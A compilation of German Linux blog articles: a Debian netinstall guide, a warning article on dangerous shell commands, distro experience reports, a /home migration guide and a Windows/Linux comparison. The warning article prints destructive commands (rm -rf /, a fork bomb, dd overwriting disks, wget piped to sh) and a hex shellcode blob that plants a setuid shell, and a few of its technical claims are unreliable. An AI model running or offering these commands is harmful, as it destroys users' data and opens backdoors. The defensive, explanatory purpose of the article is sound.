Debian Net-Installation

Beispiel mit Ressourcenschonung und Benutzerfreundlichkeit


Inhaltsverzeichnis

1. Einleitung
2. Installationsvoraussetzungen fĂĽr Debian mit XFCE4
3. Download
4. Hash-PrĂĽfung
5. Datenträger erstellen
6. Bootmedium starten
7. Installation
8. Konfiguration der Benutzerfreundlichkeit
9. Feintuning
10. Anhang ProgrammĂĽbersicht
11. Nachwort


1. Einleitung

Diese Anleitung ist nur für Benutzer geeignet, die schon längere Zeit mit Linux arbeiten.
Die Installation von „Debian GNU/Linux Testing“ wird mit einem minimalen „netinst“-Abbild, also CD-ROM-Image als iso-Datei, vorgenommen. Das hat den Vorteil, das nur die Software-Pakete geladen werden, die man selber auch wirklich will und nicht der gesamte Funktionsumfang der vorausgewählten Software, die unter Umständen nie benötigt wird, aber allein durch ihr Vorhandensein ein Risiko darstellen.
Als Desktop wähle ich die schlanke und doch vollwertige Desktop-Umgebung „XFCE“. Nach Abschluss der Installation haben Sie ein extrem schnelles und sicheres Debian als Betriebssystem.

Denn merke, die Software die nicht installiert wird, hat auch keine SicherheitslĂĽcke!


2. Installationsvoraussetzungen fĂĽr Debian mit XFCE4

Hardware

  • Bootmedium
  • 1 GB RAM, also Arbeitsspeicher; mehr ist besser
  • 10 GB Festplatte; mehr ist besser
  • ĂĽber 1 GHz CPU; mehr ist besser
  • angeschlossenes Internet mit Kabel während der Installation

Software

Das Internet ist notwendig, da hier mit einem sogenannten „netinst“-Abbild installiert wird, welches nur eine minimale Grundinstallation beinhaltet und alles andere über das Internet während des Installationsprozesses nach laden muss und damit die jeweils aktuellste Version eines jeden Paketes.
Das „netinst“-Abbild ist nur 150 bis 350 MB groß, je nach Plattform, also Prozessor-Architektur.

Benutzer

Sie sollten wissen wie eine Partition angelegt wird, was ein Mountpoint ist und wie Befehle eingegeben werden. Beispielsweise ist die Wurzel unter Linux kein forstwirtschaftlicher Fachbegriff.


3. Download

Das Abbild
„Current daily snapshots
netinst (generally 150-280 MB) CD images“

liegt hier: https://www.debian.org/devel/debian-installer/

In meinem Fall ist das die „amd64“-Version:

debian-testing-amd64-netinst.iso               2018-05-16 06:11  331M.

Die dazugehörige Hash-Prüfsummen stehen als MD5, SHA1, SHA256 und SHA512 zur Verfügung.


4. Hash-PrĂĽfung

Die heruntergeladene iso-Datei schnell prĂĽfen im Terminal mit

md5sum debian-testing-amd64-netinst.iso

Oder mit dem grafischem Werkzeug „GtkHash“.


5. Datenträger erstellen

Hier gibt es so viele Möglichkeiten, das ich nur die schnellste erwähne mit dem Befehl „dd“ mit dem folgendem Beispiel, was auf User, Datei und Laufwerk angepasst werden muss:

sudo dd if=/home/user/Downloads/linux.iso of=/dev/sdb; sync

Ansonsten kann auf unterschiedliche Medien ein bootfähiges Abbild gelegt werden, wie CD-ROM, DVD, USB-Stick, externe Festplatte und Netzwerk. Wahrscheinlich liegt der USB-Stick bei den meisten so und so schon da.


6. Bootmedium starten

Bei der meisten PC-Hardware führt die „F8“-Taste zum Bootmenü der Boot-Medien, ansonsten die Bootreihenfolge im BIOS ändern.


7. Installation

Grundlegende Installation

Folgende Einstellungen habe ich vorgenommen.

  1. Graphical install
  2. Select a language → German – Deutsch
  3. Auswählen des Standortes → Deutschland
  4. Tastatur konfigurieren → Deutsch
  5. Rechnername → test-n
  6. Domain-Name → leer
  7. Root-Passwort → Zahlen und Buchstaben
  8. Vollständiger Benutzername → test
  9. Benutzername für Ihr Konto → test
  10. Passwort für neuen Benutzer → Zahlen und Buchstaben
  11. Partitionierungsmethode → „Geführt – vollständige Festplatte“
  12. Auswahl der Festplatte → sda
  13. Partitionierungsschema → „Alle Dateien auf eine Partition, … „
  14. „Partitionierung beenden und Änderungen übernehmen.“
  15. Änderungen auf die Festplatte schreiben? → Ja
  16. >>> Die Installation des Grundsystems läuft.
  17. Eine andere CD oder DVD einlesen? → Nein
  18. Paketmanager konfigurieren → Deutschland
  19. Debian-Archiv-Spiegelserver → ftp.de.debian.org
  20. HTTP-Proxy-Daten → leer
  21. >>> Weitere Installationsroutine
  22. An der Paketerfassung teilnehmen? → Ja
  23. Softwareauswahl (tasksel) → nur Druckserver
  24. Grub-Bootlader in den MBR installieren? → Ja
  25. Grub-Bootlader installieren auf Festplatte → sda
  26. >>> Abschluss der Grundinstallation

Nach dem Neustart loggen Sie sich mit Ihrem Benutzernamen und Ihrem Passwort ein. Jetzt ist Debian funktionsfähig installiert und zur Nutzung bereit, doch ohne grafische Oberfläche.

Erweiterte Installation

Jetzt wäre eine Nutzung von Debian schon möglich, aber das „Erlebnis“ eines grafischen Desktop wollen wohl 99,9% der Benutzer nicht missen. Daher jetzt die Installation der Desktop-Umgebung und, meiner bescheidenen Meinung nach, noch wichtige Programme und Werkzeuge.

su
Passwort:
apt install xfce4 xfce4-goodies sudo synaptic firefox-esr-l10n-de thunderbird-l10n-de libreoffice gnome-disk-utility net-tools screenfetch

Wer weiß, welche Programme das sind, kann noch „bleachbit“, „conky“, „grsync“ und „gtkorphan“ installieren. Aber Vorsicht bei „bleachbit“ und „gtkorphan“, lassen Sie sich bitte vor der Benutzung einweisen, denn zwar sparen dies Programme sehr viel Speicherplatz ein, aber die Einstellungen sollten bewusst vorgenommen werden.

Abschließend alles nochmal aktualisieren und aufräumen

su
Password:
apt list --upgradable && apt update && apt upgrade && dpkg --configure -a && apt install -f && apt clean && apt autoremove && apt autoremove --purge

8. Konfiguration der Benutzerfreundlichkeit

Benutzer mit sudo-Rechten ausstatten

In der Konsole oder im Terminal folgenden Befehl absetzen um in Zukunft mit erweiterten Rechten fĂĽr den Benutzer zu arbeiten.

su
Passwort:
gpasswd -a test sudo

Paketquellen erweitern

Als erstes sollten die Paketquellen aus dem harschen Debian-Gefängnis befreit werden. Das ist ein wenig widersinnig, da nach der Installation nur freie Pakete zur Verfügung stehen, doch die notwendigen Treiber wie für Grafikkarte oder Wlan-Module in den unfreien Paketquellen liegen.
Also muss mit sudo-Rechten die folgende Datei editiert und zum Schluss gespeichert werden.

sudo mousepad /etc/apt/sources.list

Alle Inhalte löschen oder auskommentieren und folgende Repositorien-Einträge setzen.

deb http://deb.debian.org/debian/ testing main contrib non-free

deb-src http://deb.debian.org/debian/ testing main contrib non-free

deb http://deb.debian.org/debian/ testing-updates main contrib non-free

deb-src http://deb.debian.org/debian/ testing-updates main contrib non-free

deb http://deb.debian.org/debian-security testing/updates main

deb-src http://deb.debian.org/debian-security testing/updates main

Autologin aktivieren

Wenn fremde Personen keinen physischen Zugang zu Ihrem Computer haben, kann bequem das automatische Anmelden des Benutzer aktiviert werden.
Die lightdm-Konfigurationsdatei editieren und danach speichern.

sudo mousepad /etc/lightdm/lightdm.conf

Folgende Einträge finden:

# autologin-user=	
# autologin-user-timeout=0

Die Einträge ändern in:

autologin-user=test
autologin-user-timeout=0

Grafiktreiber fĂĽr AMD installieren

Leider musste ich noch einen Treiber nachladen.

sudo apt install firmware-amd-graphics

9. Feintuning

Arbeitsflächen auf eine reduzieren
Einstellungen → Arbeitsflächen → Anzahl der Arbeitsflächen → „1“

Windowsmanager-Thema
Einstellungen → Fensterverwaltung → Stil → „Daloa“ zeigt das vordere Fenster mit anders farbiger Titelleiste und die schlanken Titel-Leisten.

Inhalt von Fenstern verstecken
Einstellungen → Fensterverwaltung → Erweitert → Inhalt von Fenstern verstecken → aktivieren „Beim Bewegen“ und „Bei der Größenänderung“

Schreibtisch Wallpaper deaktivieren
Einstellungen → Schreibtisch → Stil → „Kein Bild“


10. Anhang ProgrammĂĽbersicht

Der gezeigte Screenfetch beinhaltet unter anderem folgende Programme zur Standard-Installation des net-install-Medium, wobei in der der tasksel nur der Drucker-Server ausgewählt war.

Programm Beschreibung
Bleachbit Bereinigungsprogramm
Conky Systemmonitor
Debian GNU/Linux Linux-Distribution
Firefox Webbrowser
gnome-disk-utility Speichermedien-Manager
Grsync Backup- , Restore- und Synchronisationsprogramm
Gtkorphan Finden und löschen von verwaisten Paketen
LibreOffice Office-Suite
Light-DM Login- und Display-Manager
Mousepad Xfce4-Editor
Screenfetch CLI-Programm fĂĽr kompakte SystemĂĽbersicht
Synaptic Software-Paket-Manager
tasksel Task-Selection, hier als eine Auswahl von Paketzusammenstellungen
Thunderbird E-Mail-Client
Xfce4 Desktopumgebung
Xfce4-Goodies Erweiterungen zum Xfce4-Desktop

11. Nachwort

Natürlich kann das von mir vorgestellte System nochmals beschleunigt und verschlankt werden, beispielsweise mit dem SLIM-Login- und Displaymanager oder in GRUB die 5 Sekunden Verzögerung ausschalten.
Doch wird sich das jeder dann selbst noch optimieren können, wenn er bis hierher Gefallen gefunden hat.

Gefährliche Befehle, Linux-Bom­ben


Inhaltsverzeichnis

Vorwort
1. rm
2. rm -rf in hexadezimal
3. Forkbomb
4. Copy und Paste
5. Device Null
6. Operatoren
7. WGET
8. dd
9. Weitere Befehle
Fazit
Quellen


Vorwort

Vorsicht, nur in virtuellen Maschinen testen! Als Testsystem hatte ich ein Ubuntu 16.04 in eine virtuelle Maschine installiert und mehrfach kopiert.


1. rm

Die bekannteste Linux-Bombe ist wohl „rm“, denn es wird oft vergessen den kompletten Pfad anzugeben, auch wenn man in einem Unterverzeichnis ist, denn dieser Befehl geht ĂĽber die Wurzel. Und es ist auch hoch bezahlten Admins schon passiert.

sudo rm -rf /

Dieser Befehl löscht ohne Nachfrage rekursiv alles ab Wurzelverzeichnis. Alles heißt, alle eingehängte Laufwerke und auch alle Netzlaufwerke.
Funktioniert todsicher! Aber nicht unter dem Ubuntu, dort wird eine Warnung ausgegeben.
GegenmaĂźnahme
Ein Fallstrick kann „safe-rm“ sein. Es soll vor unbeabsichtigten löschen helfen. Wer sich aber daran gewöhnt und auf einen anderen/neuen Rechner kein „safe-rm“ installiert hat, dann ist „rm“ ist seiner Gewalt nicht zu bremsen.
Ansonsten hilft auch kein beten.
Quelle
Weiteres in jedem Linux-Handbuch und jeder Unix-Befehlsreferenz.


2. rm -rf in hexadezimal

Ist genauso schädlich:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Unter Ubuntu mĂĽssten dazu die Pakete release und bikeshed installiert sein. Hat bei mir unter Ubuntu nicht funktioniert.


3. Forkbomb

Rechner auslasten mit Hintergrundaktivität und damit die CPU mal richtig heiß wird und sich selbst auslötet.

:(){ :|:& };:

Funktion die definiert wird, hier „:()“, ruft sich selbst als Hintergrundaktivität auf und ĂĽbergibt sich wieder neu und so weiter, also eine typische Forkbomb. Funktioniert unter Ubuntu. Bösartig, es wird am Anfang nicht gleich wahrgenommen und Systemmonitore, wie „Conky“, zeigen durch die 100% ausgelastete CPU keine Veränderungen an.
GegenmaĂźnahme
Schutz gibt es, wenn die Datei „/etc/security/limits.conf“ dem entsprechend editiert wird.


4. Copy und Paste

Das Internet hilft bei vielen Gelegenheiten, aber ersetzt nicht das eigene Denken. Kopieren und Einfügen kann gefährlich sein. Hinter einer harmlosen Eingabe wie

echo "Hallo Welt!"

kann man auch

rm -rf /

verstecken.
GegenmaĂźnahme
Vorsichtshalber in ein Editor einfĂĽgen, hilft aber auch nicht immer :-)


5. Device Null

Das Gerät Null ist tatsächlich entstanden um Daten, die als unwichtig gelten, in das Nichts zu senden.
Doch folgende Befehlszeile löscht das gesamte /home-Verzeichnis des angemeldetem Benutzers.

mv ~ /dev/null

In Ubuntu ist dafĂĽr keine Berechtigung vorhanden.
GegenmaĂźnahme
Nachdenken, was soll eine Tilde, also das /home-Verzeichnis, mit Null zu tun haben!


6. Operatoren

Gerne nutze ich das Kommando „ls > Verzeichnis.txt“ um mir den Inhalt eines Verzeichnis als Textdatei abzulegen. Und bei Ă„nderungen lege ich mit dem doppelten Operanden „ls >> Verzeichnis.txt“ in der selben Datei am Ende nach.

ls > /dev/sda

Wird aber dieser Befehl ausgefĂĽhrt ĂĽberschreibt er die genannte Festplatte mit sich selbst. Statt „ls“ könnte auch ein anderer Befehl genommen werden, die Auswirkung ist gleich, da hier der Operand den Fehler ausĂĽbt. In Ubuntu ist dafĂĽr keine Berechtigung vorhanden.
GegenmaĂźnahme
Immer erst in einer virtuellen Maschine solche Kommandos prĂĽfen.


7. WGET

Ist dieselbe Bequemlichkeit wie kopieren und einfĂĽgen. Ein Script wird im Netz zur VerfĂĽgung gestellt und nun kann man es einfach durch die Shell ausfĂĽhren, mit Verhinderung von wichtigen Informationen.

wget http://webseite.com -q | sh

Nur, ob die Beschreibung des Skriptes mit dem tatsächlichem Inhalt übereinstimmt, ist hier nicht plausibel erwiesen.
Hat in meiner Ubuntu-Installation nicht funktioniert.
GegenmaĂźnahme
Durch „quiet“ ist es noch nicht mal möglich die Gefahr zu bannen, zum Beispiel mit „Strg+c“.


8. dd

Dieses Kommando ist zum Kopieren gedacht. Hier ist Missbrauch möglich, um Datenträger zu überschreiben.

dd if=/dev/urandom of=/dev/sda

An diesem Beispiel werden Zufallszahlen auf die gesamte Festplatte geschrieben und somit der vorhandene Inhalt gelöscht.
GegenmaĂźnahme
Da hab ich es mit Nelson -> „Haha“.


9. Weitere Befehle die vorsichtig angewendet werden sollten.

Die nachfolgenden Kommandos habe ich nicht getestet, erscheinen aber logisch.

sudo chmod 000 -R /

Rechte werden rekursiv entzogen oder keine erteilt wie man´s sieht. Daten bleiben aber erhalten.
Mit umask wären sicherlich auch solche Spielchen möglich.

touch root
sudo chattr +i root

Datei mit +i unveränderlich setzen

sudo chattr -i root

Attribut wieder entfernen


10. Fazit

Das sind wohl einige der bekanntesten Fallgruben. Trotzdem sollte bei angebotener Hilfe das eigene Denken die erste Hürde sein und ein gesundes Maß an Misstrauen, ob andere nicht auch Flüchtigkeitsfehler machen, wäre angebracht.


Quellen

Linux-Handbuch von Kofler, Gallileo-Verlag
Unix-Befehlsreferenzen im Netz
http://www.junauza.com/2008/11/7-deadly-linux-commands.html
https://ppfeufer.de/lokale-linuxssicherheit-oder-wie-entschaerf-ich-die-bombe.html/
https://www.schnatterente.net/software/versteckter-schadcode-gefaehrliche-linux-howtos/2
https://www.heise.de/security/dienste/Copy-Paste-Tricks-1842691.html
https://de.wikipedia.org/wiki//dev/null
https://de.godaddy.com/blog/die-5-gefaehrlichsten-kommandos-in-der-linux-konsole/
https://wiki.ubuntuusers.de/wget/
http://www.linux-community.de/Internal/Nachrichten/Die-7-toedlichsten-Linux-Kommandos

Rolling Release – meine Erfahrungen

Inhaltsverzeichnis

Ein immer aktuelles und sicheres Betriebssystem, ein Traum
“Debian”-Testing
“siduction”
„Manjaro“
Abschlussbetrachtung


Ein immer aktuelles und sicheres Betriebssystem, ein Traum

Ist er schon wahr geworden oder sind da HĂĽrden?
Jahrelang versuche ich ein Rolling Release produktiv zu nutzen, aber es gelingt mir nicht ohne erhebliche Aufwendungen. Also war es eine bisher erfolglose Suche nach dem idealem System.

Hier ein Erfahrungsbericht vom Januar 2018. Ich habe die drei mir bekanntesten Rolling Release vorgenommen, „Debian“-Testing, „siduction“ und „Manjaro“.

Ja ich weiĂź, „Debian“-Testing ist kein echtes Rolling Release und auĂźerdem gibt es noch „Gentoo Linux“ und „openSUSE“ und jede Menge kleinere Distros. „Gentoo-Linux“ nutzt ein Paketmanagement was ungleich von Arch, Debian und RedHat ist, daher fliegt es als zu seltsam aus meiner Auswahl. „openSUSE“ ist seit Ăśbernahme durch „Novell“ und seinem Gebaren sowie dem Pakt mit „Microsoft“ auch raus.


„Debian“-Testing

Debian steht im Ruf rückwärts kompatibel zu sein. Testing liegt in der Reihenfolge der Veröffentlichungen zwischen unstable, auch sid genannt, und stable, der erzkonservativen „Ist-fertig Ausgabe“.

Steckbrief
– relativ schnell mit neuen Kernels versorgt
– relativ schnell mit neuen Sicherheitsupdates versorgt
– relativ schnell mit neuen Programmversionen versorgt
– altbackene Desktop-Umgebungen
– strenge Regulierungen von Rechten und freier Software

Testfall
Nach der Installation und der Updates und Upgrades, wollte ich „Teamviewer 9“ installieren, also bewusst nicht die neueste Version. Da es ein 64Bit-Testing war, hatte ich die 64Bit-Teamviewer-Version installieren wollen, ging nicht. Also die 32Bit-Teamviewer-Version installieren, ging aber auch nicht. Ok, es fehlen Abhängigkeiten, nun habe ich diese nach installieren wollen, doch diese gibt es nicht in den offiziellen Repositorien. Trotz konservativer Teamviewer-Variante können Abhängigkeiten nicht schnell aufgelöst werden.


„siduction“

Der Name verrät es, die Grundlage ist das „Debian“-unstable. Der Distributor meint von sich selbst das „Gemeinschaftsbasierende Betriebssystem“ zu sein.

Steckbrief
– relativ schnell mit neuen Kernels versorgt
– relativ schnell mit neuen Programmversionen versorgt
– veränderte und teilweise irre Desktop-Umgebungen
– Forum-Vandalismus

Testfall
Bei Hilfeersuchen im Forum, sollte man sich unbedingt devot verhalten. Sollte man selbst eine Frage stellen, die für andere Kritik enthalten könnte, erwartet den Fragenden Bashing, Abweisungen und Antworten die nicht zum Thema gehören. Echte Hilfe, auf eigene Fragen, ist sehr schwer zu finden. Eine Zumutung für den Leitsatz „community based OS“, eher eine konservative Geschlossenheit mit Ausnahmen.


„Manjaro“

die Arch-basierende Linux-Ausgabe. Sie ist wunderschön und sehr verführerisch. Es ist die modernste und aktuellste Distribution, die ich kenne.

Steckbrief
– mit den neuesten Kernels versorgt
– schnell mit neuen Sicherheitsupdates versorgt
– mit den neuesten Programmversionen versorgt
– moderner XFCE-Desktop
– riesiges Arch-Wiki, mit fast allen Antworten

Testfall
Nach der Installation habe ich selbstverständlich die Paketlisten aktualisiert. Doch nun kommt der fail. Beim upgraden hing die neuste Version vom Firefox fest. Auch nach Neustart und nochmaligen updaten sowie upgraden wurde das Firefox-Paket nicht installiert. „Manjaro“ die aktuellste Distro versagt beim aktualisieren.


Abschlussbetrachtung

Was soll ich dazu noch schreiben, wenn die drei Distros in ihrem jeweiligem Hauptmerkmal patzen. Ja, ich könnte um Entschuldigung bitten, das es nicht jeweils das gleiche Testszenarium war, oder selbstverständlich hätte man die Abhängigkeiten und die Hindernisse durch Eigeninitiative abstellen können, doch es bleibt der Geschmack von „ist nicht fertig“. Rolling Release sollte niemals von Windows-Usern genutzt werden und auch nicht von Linux-Usern die noch nicht viel mit der Konsole gearbeitet hatten.

/home umziehen oder Wohnungswechsel

Problem
Die alte Partition oder die alte Festplatte ist zu klein geworden fĂĽr die eignen Daten. Oder eine schnelle ssd-Festplatte soll jetzt das neue zu Hause werden.

Lösung
Umzug des /home-Verzeichnis auf eine zusätzlich Partition oder/und Festplatte ohne Neuinstallation des bestehenden System.


Inhaltsverzeichnis

Vorwort
1. Vorbereitungen
2. In der Konsole arbeiten
3. Neue /home-Partition einhängen
4. Dateien vom alten /home in das neue /home-Verzeichnis kopieren
5. Altes /home-Verzeichnis löschen
6. Neues /home-Verzeichnis zum booten eintragen
7. reboot
Quellen


Vorwort

Dieser Artikel gilt für Ubuntu-Derivate, für andere Debian-basierenden Distros sind teilweise andere Vorgehensweisen nötig, beispielsweise statt sudo, dann su, wenn man selbst nicht als sudoer eingetragen ist.
Zu beachten ist, dass hier alle Benutzer von /home, auĂźer root, umziehen.
Zu beachten sind außerdem alle Schrägstriche, Anführungszeichen und sonstige Notifikationen; wird ein Zeichen zu viel oder zu wenig gesetzt, wird der Befehl nicht oder sogar falsch ausgeführt, was beispielsweise bei dem Befehl

rm

verheerend sein kann.


1. Vorbereitungen

1.1. Zuerst den Speicherplatz
von /home ermittelt mit
Terminaleingabe:

du -sh /home

Terminalausgabe:

548G	/home

Eine grafische Lösung wäre „gnome-disk-utility“.
1.2. Nun ein Backup
fĂĽr unvorhergesehen Ereignisse oder geplantes Wiederherstellen durchfĂĽhren, das Programm „grsync“ wäre eine grafische Lösung. Nicht die „versteckten“ Dateien und Verzeichnisse vergessen, diese beginnen mit einem Punkt im Namen.
1.3. Dann eine neue oder leere Partition
, mit gewünschter Größe auf vorhandener oder zusätzlicher Festplatte erstellen, das Programm „gparted“ wäre eine grafische Lösung. Die Größe sollte mindestens dem Speicherplatz der bisherigen Speichergröße und zusätzlich 20% sein, wegen der temporären Verzeichnisse.


2. In der Konsole arbeiten

2.1. Für ein fehlerfreies Arbeitenwird jetzt die grafische Oberfläche verlassen mit einer Tastenkombination.

Strg+Alt+F1 # bis F6

2.2. Login mit eigenem Benutzernamen und dem dazugehörigem Passwort.
2.3. Administrative root-Rechte fĂĽr die nachfolgenden Befehle holen und auf die oberste Ebene „/“ gehen.

sudo -s
cd /

3. Neue /home-Partition einhängen

3.1. Eine detailreiche Ăśbersicht der bestehenden Portionen und Festplatten holen.

fdsik -l

3.2. Die Bezeichnung der neuen Partition notieren, etwa wie folgt und hier im weiterem als Beispiel verwendet.

sda3

3.3. Nun ein temporären Verzeichnis erstellen.

mkdir /mnt/tmp

3.4. Diese Verzeichnis in der neuen /home-Partition mounten.

mount /dev/sda3 /mnt/tmp

4. Dateien vom alten /home in das neue /home-Verzeichnis kopieren

4.1. Ein exaktes kopieren mit PrĂĽfung

rsync -avx --progress /home/ /mnt/tmp

4.2. oder schneller kopieren.

cp -avx /home/* /mnt/tmp

4.3. Die neue Partition wird jetzt mounten.

mount /dev/sda3 /home

4.4. Die neue Partition ĂĽberprĂĽfen.

du -sh /home; mount|grep /home

Die Ausgabe sollte etwa so aussehen.

548G	/home
dev/sda3 on /home type ext4 (rw)

5. altes /home-Verzeichnis löschen

5.1. Ich gehe davon aus, dass das Backup erstellt wurde :-)
5.2. Nun das alte /home-Verzeichnis unmounten.

umount /home

5.3. jetzt kann es rekursiv gelöscht werden.

rm -rf /home/*

6. neues /home-Verzeichnis zum booten eintragen

6.1. Die Identifikation der /home-Partition ermitteln.

blkid

Hier eine beispielhafte Ausgabe.

/dev/sda1: UUID="xxx-x … x-123" TYPE="ext4" PARTUUID="0815-01"
/dev/sda2: UUID="xxx-x … x-345" TYPE="ext4" PARTUUID="0815-02"
/dev/sda3: UUID="xxx-x … x-678" TYPE="ext4" PARTUUID="0815-03"

6.2. Nun die identifizierte Partitionzusätzlich in die Datei „/etc/fstab“ am Ende eintragen mit Hilfe eines Konsoleneditors wie „vi“, „vim“ oder „nano“ als benutzerfreundlichstem.

nano /etc/fstab

6.3. Der zusätzliche Beispieleintrag sehe wie folgt aus.

# /dev/sda3 Die Raute zeigt diesen Text als hilfreichen Kommentar.
UUID=xxx-x … x-678  /home   ext4   defaults   0 2
Bitte eine Leerzeile am Ende belassen.

Speichern in „nano“, „O“ ist ein Buchstabe.

Strg+O

Und „Nano“ beenden.

Strg+X

7. reboot

reboot

Quellen

Praxis: Diese Anleitung wurde praktisch und mit Erfolg angewendet.
Inspiration: https://wiki.ubuntuusers.de/Home_umziehen/
Bild: Frank Rosenberger

Was ist in Windows und Linux gleich?


1 Vorwort

Wenn hier zu gleichem oder ähnlichem zwischen Windows und Linux gesprochen wird, so bezieht sich das bei Linux meist auf eine von mehreren Möglichkeiten oder Optionen. Wogegen bei Windows es oft nur jeweils eine vorhandene Situation existiert.
„Linux“ betrifft in diesem Artikel die Linux-Distribution. Linux-Distributionen sind Zusammenstellungen von einem Linux-Kernel, dem eigentlichem Betriebssystem, einer grafischen Benutzerschnittstelle sowie ein abgestimmtes Portfolio von allgemein bekannten Programme oder wichtiger Alltagshelfer. Auf den Unterschied von Linux-Kernel und Linux-Distribution wird hier nicht weiter eingegangen.
Als Beispiele dienen hier „Windows 7 Home Premium“ und „Xubuntu 16.04 LTS“ die unwesentlich modifiziert sind, beispielsweise werden keine Hintergrundbilder genutzt, wegen der besseren Dokumentation.


2 Grundsätzliches


2.1 Computer

Generell kann man sagen, das auf jedem PC Windows als auch Linux läuft, außer in seltenen Ausnahmen in denen der Hersteller das unterbindet. Zudem läuft Linux auf vielen weiteren Computerplattformen und als embedded System. „Eingebettete Systeme“ sind sehr klein gehaltene Betriebssysteme in Geräten für den Haushalt, die Multimedianutzung sowie Geräte und Automaten der Industrie und Wissenschaft.


2.2 Grafische Benutzeroberfläche

Die grafische Benutzeroberfläche besteht aus heutiger Sicht aus dem Desktop, einem Fenstersystem oder/und dem Fenstermanager. Diese Kombination der grafischen Systeme ermöglicht das Arbeiten mit Zeigesysteme, wie der Maus und der Kombination von Tastatur und Maus.
Unter Windows sind diese Bestandteile sehr monolithisch zusammengesetzt. Linux bietet die Möglichkeit den Desktop und das Fenstersystem, beziehungsweise dem Fenstermanager, nach eigenem Willen zu wechseln oder zu kombinieren.


2.3 Maus und Tastatur

Beide Betriebssystem können mit der Maus und der Tastatur bedient werden, oder ihren Äquivalenzen, wie Touchpad oder kapazitiven Bildschirmen.


2.4 Treiber

Bei neu gekauftem Windows-PC´s, liegt in der Regel eine Treiber-CD-ROM bei und unter Linux werden die Treiber in den Repositorien meist mitgeliefert. Zumindest sind für beide Systeme sehr viele Treiber von allgemein genutzter Hardware vorhanden.


3 Bedienung


3.1 Desktop / Schreibtisch

Das offensichtlichste bei Windows ist der Desktop mit Arbeitsplatz, Papierkorb und „Eigene Dateien“. Die meisten der bekannten Linux-Distributionen, werden mit einer grafischen Benutzerschnittstelle ausgeliefert, die auch das Dateisystem, den Papierkorb und den „Persönlicher Ordner“ anzeigen können. Wobei Linux auch ohne grafische Benutzerschnittstelle auskommt und das sehr gut.

Das obere Bild von Windows und das untere Bild von Linux.


3.2 Taskleiste

Die Taskleiste kann bei beiden Systemen sehr ähnlich bedient werden, mit festsetzen oder ausblenden der Taskleiste sowie Anzeigen des Hauptmenüknopfes und den geöffneten Anwendungen. In beiden Systemen kann dort die Lautstärkenregulierung vorgenommen werden.

Das obere Bild von Windows und das untere Bild von Linux.


3.3 Benachrichtigungsfeld

Windows und die grafischen Linux-Distributionen besitzen beide ein Benachrichtigungsfeld auf der Task­leiste das dort rechts angeordnet ist. Dort wird bei beiden zum Beispiel die Uhrzeit, das Datum, die Netzverbindungen, die Lautstärkeregelungen und aktuelle Meldungen, wie eingehende E-Mails oder der Wechsel der abgespielten Musiktitel, angezeigt. Siehe Bildschirmfotos zu 3.2. Ein kleiner Unterschied besteht darin, das unter Linux alles etwas ausführlicher ist.


3.4 Dateimanager

Was unter Windows der „Explorer“ ist, hat unter Linux verschieden Namen, aber in jedem Fall sind es auch Dateimanager mit vielfältigen Möglichkeiten. Es werden Verzeichnisse und Dateien dargestellt und auf Wunsch mit Vorschaubilder.
Unter Linux ist alles eine Datei, auch Verzeichnisse und Geräte, was das Linux-System robuster macht. Aber in der Darstellung sind beide System sehr gleichartig.

Das obere Bild von Windows und das untere Bild von Linux.


3.5 Fenstersteuerung

Die Fenstersteuerung mit den Schaltern „Minimieren“, „Relativieren“ und „Maximieren“ sind äquivalent. Trotzdem kann auch hier Linux mit Mehrwert punkten, wie dem Einrollen auf bis auf die Titelleiste.
Das Verschieben der Fenster mit festgehaltener Titelleiste können auch beide Systeme. Unter Linux kann zusätzlich bei nicht mehr zu sehender Titelleiste auch mit der gedrückten „Alt“-Taste, für alternative Bedienung, das Fenster verschoben werden.

Das obere Bild von Windows und das untere Bild von Linux.


3.6 FenstermenĂĽs

Windows und Linux-Distribution kennen beide das „Fenstermenü“. Die in beiden Fällen oft auch mit der Tastatur bedient werden können. Die Bedienung der Menüs über die Tastatur werden oft über die Steuerungstaste „STRG“, der alternativen Bedienungstaste „ALT“, der Drucktaste „DRUCK“ in Kombination mit anderen Tasten genutzt. Die Funktionstasten wie „F1“ für Hilfe und „F11“ für Vollbild stehen in beiden Systemen leider nicht in allen Programmen zur Verfügung.

Das obere Bild von Windows und das untere Bild von Linux.


3.7 Kommandozeile, auch CLI fĂĽr Command Line Interface

Der Kommandozeileninterpreter unter Windows ist das „cmd“ und Linux besitzt vielfältige „Terminals“. Das „Terminal“ ist ein mächtiges Werkzeug ist, es hat die Schlagkraft einer Nuklearwaffe!
Mit der „PowerShell“ hatte Microsoft versucht den Unterschied zum Linux-Terminal zu beheben.

Das obere Bild von Windows und das untere Bild von Linux.


3.8 Mehrere Benutzer und Multiuser, als gleichzeitige Benutzer

Unter Windows können mehrere Benutzer angelegt werden, wobei ein Benutzer aktiviert werden kann. Der Linux-Kernel ist ein echtes Multiuser-Betriebssystem, also mehrere Benutzer können gleichzeitig produktiv sein, daher auch der Begriff „Terminal“ für CLI, den Kommandozeileninterpreter.


3.9 Eigene Dateien

Windows bietet das Verzeichnis „Eigene Dateien“ zum Ablegen von selbst erstellten Verzeichnissen und Dateien.
• Desktop
• Downloads
• Eigene Bilder
• Eigene Dokumente
• Eigene Musik
• Eigene Videos
• Favoriten
• Gespeicherte Spiele
• Kontakte
• Links
• Suchvorgänge

Unter Linux besteht das exklusive „/home“-Verzeichnis für jeden Benutzer, daher muss nicht mit „eigene“ bezeichnet werden, mit den schon angelegten Verzeichnissen:
• Bilder
• Dokumente
• Downloads
• Musik
• Öffentlich
• Schreibtisch
• Videos
• Vorlagen
Erfahrungsgemäß wird unter Windows aber wild durcheinander gespeichert, wogegen unter Linux etwas mehr Disziplin herrscht durch die strenge Hierarchie der Rechteverwaltung.

Das obere Bild von Windows und das untere Bild von Linux.


3.10 Taskmanager

Die Kontrolle ĂĽber laufende Anwendungen, Dienste, CPU-Auslastung und Netzwerk-Auslastung, besitzen Windows genauso wie Linux.

